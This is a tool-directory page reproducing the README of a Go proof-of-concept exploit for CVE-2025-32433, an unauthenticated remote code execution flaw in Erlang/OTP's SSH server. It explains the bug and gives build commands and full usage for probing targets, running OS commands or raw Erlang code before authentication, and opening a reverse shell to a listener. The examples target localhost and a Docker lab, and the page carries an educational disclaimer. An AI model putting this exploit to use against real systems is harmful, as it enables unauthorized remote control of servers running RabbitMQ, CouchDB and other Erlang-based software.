Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2025-32433 — Go PoC for CVE-2025-32433 — unauthenticated RCE in Erlang/OTP SSH. | Kitploit
Tools/GitHubGitHub/joshuavanderpoll/cve-2025-32433
Vulnerability AnalysisExploitationPenetration TestingLearning & EducationRemote Access ToolPayload Development
GitHubjoshuavanderpoll/cve-2025-32433

cve-2025-32433

Go PoC for CVE-2025-32433 — unauthenticated RCE in Erlang/OTP SSH.

View Repository
25 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
Website

Erlang/OTP SSH Unauthenticated Blind RCE (CVE-2025-32433) PoC

Go

📜 Description

CVE-2025-32433 is a critical unauthenticated remote code execution vulnerability in Erlang/OTP's SSH server. Prior to the patched versions, the SSH daemon incorrectly processes channel messages before authentication is complete, allowing an attacker to open a channel and send exec requests without ever providing credentials. Any application embedding Erlang/OTP's SSH server (including Elixir, RabbitMQ, CouchDB, and others) is affected when the SSH port is exposed.

This Go PoC connects to a target SSH port, sends a crafted SSH_MSG_CHANNEL_OPEN followed by a SSH_MSG_CHANNEL_REQUEST exec payload — entirely pre-authentication — causing the remote Erlang node to execute arbitrary OS commands. Execution is blind: no command output is returned to the attacker.

Affected versions: Erlang/OTP < 27.3.3, < 26.2.5.11, < 25.3.2.20

✨ Features

  • Vulnerability check — probe a target to confirm it's susceptible before exploiting
  • Command execution — run OS commands via bash -c, wrapped automatically in Erlang's os:cmd
  • Raw Erlang execution — send any Erlang expression directly, no shell wrapper needed
  • Reverse shell — deploy a native gen_tcp reverse shell without relying on bash or /dev/tcp
  • IPv6 support — works with both IPv4 and IPv6 targets
  • No dependencies — single binary, Go standard library only

🛠️ Installation

Pre-built binaries for macOS, Linux, and Windows are available on the Releases page. Download the binary for your platform and run it directly — no Go installation required.

Or build from source:

[!NOTE] Requires Go 1.21+. No external dependencies — uses only the Go standard library.

OSX/Linux

root@kitploit:~
git clone https://github.com/joshuavanderpoll/CVE-2025-32433.git
cd CVE-2025-32433
go build -o cve-2025-32433 cve-2025-32433.go

Windows

root@kitploit:~
git clone https://github.com/joshuavanderpoll/CVE-2025-32433.git
cd CVE-2025-32433
go build -o cve-2025-32433.exe cve-2025-32433.go

Install directly with Go

root@kitploit:~
go install github.com/joshuavanderpoll/cve-2025-32433@latest

Run without installing

root@kitploit:~
go run github.com/joshuavanderpoll/cve-2025-32433@latest -host 192.168.1.100 -port 22

⚙️ Usage

root@kitploit:~
Usage of ./cve-2025-32433:
  -host string
        Target IP or hostname
  -port int
        SSH port (default: 22) (default 22)
  -timeout int
        Connection timeout in seconds (default: 5) (default 5)
  -command string
        Shell command to run on the target (wrapped in os:cmd)
  -code string
        Raw Erlang expression to execute on the target
  -shell
        Send an Erlang-native gen_tcp reverse shell
  -lhost string
        Listener IP for reverse shell (required with -shell)
  -lport int
        Listener port for reverse shell (default: 4444)

Check if a target is vulnerable

root@kitploit:~
./cve-2025-32433 -host 127.0.0.1 -port 2222

Command execution Example

Command execution

root@kitploit:~
./cve-2025-32433 -host 127.0.0.1 -port 2222 -command 'whoami > /tmp/out2.txt'

Command execution Example

Reverse shell

The -shell flag sends a native Erlang gen_tcp reverse shell payload — no bash or /dev/tcp required. Start a listener first, then send the exploit.

root@kitploit:~
./cve-2025-32433 -host 127.0.0.1 -port 2222 -shell -lhost host.docker.internal -lport 4444 

Code execution Example

Code execution

The -code flag sends a raw Erlang expression directly — no bash -c wrapper. Useful for pure Erlang ops or when bash isn't available on the target. Since execution is blind, write output to a file and retrieve it separately.

root@kitploit:~
./cve-2025-32433 -host 127.0.0.1 -port 2222 -code 'file:write_file("/tmp/out.txt", os:cmd("id")).'

Code execution Example

🐋 Docker PoC

More details at docker/DOCKER.md

root@kitploit:~
cd docker/
docker compose down
docker compose up -d
# You can test at -host 127.0.0.1 -port 2222

🕵🏼 References

  • Erlang/OTP Security Advisory
  • NVD — CVE-2025-32433
  • HackIndex

📢 Disclaimer

This tool is provided for educational and research purposes only. The creator assumes no responsibility for any misuse or damage caused by the tool.

Download Tool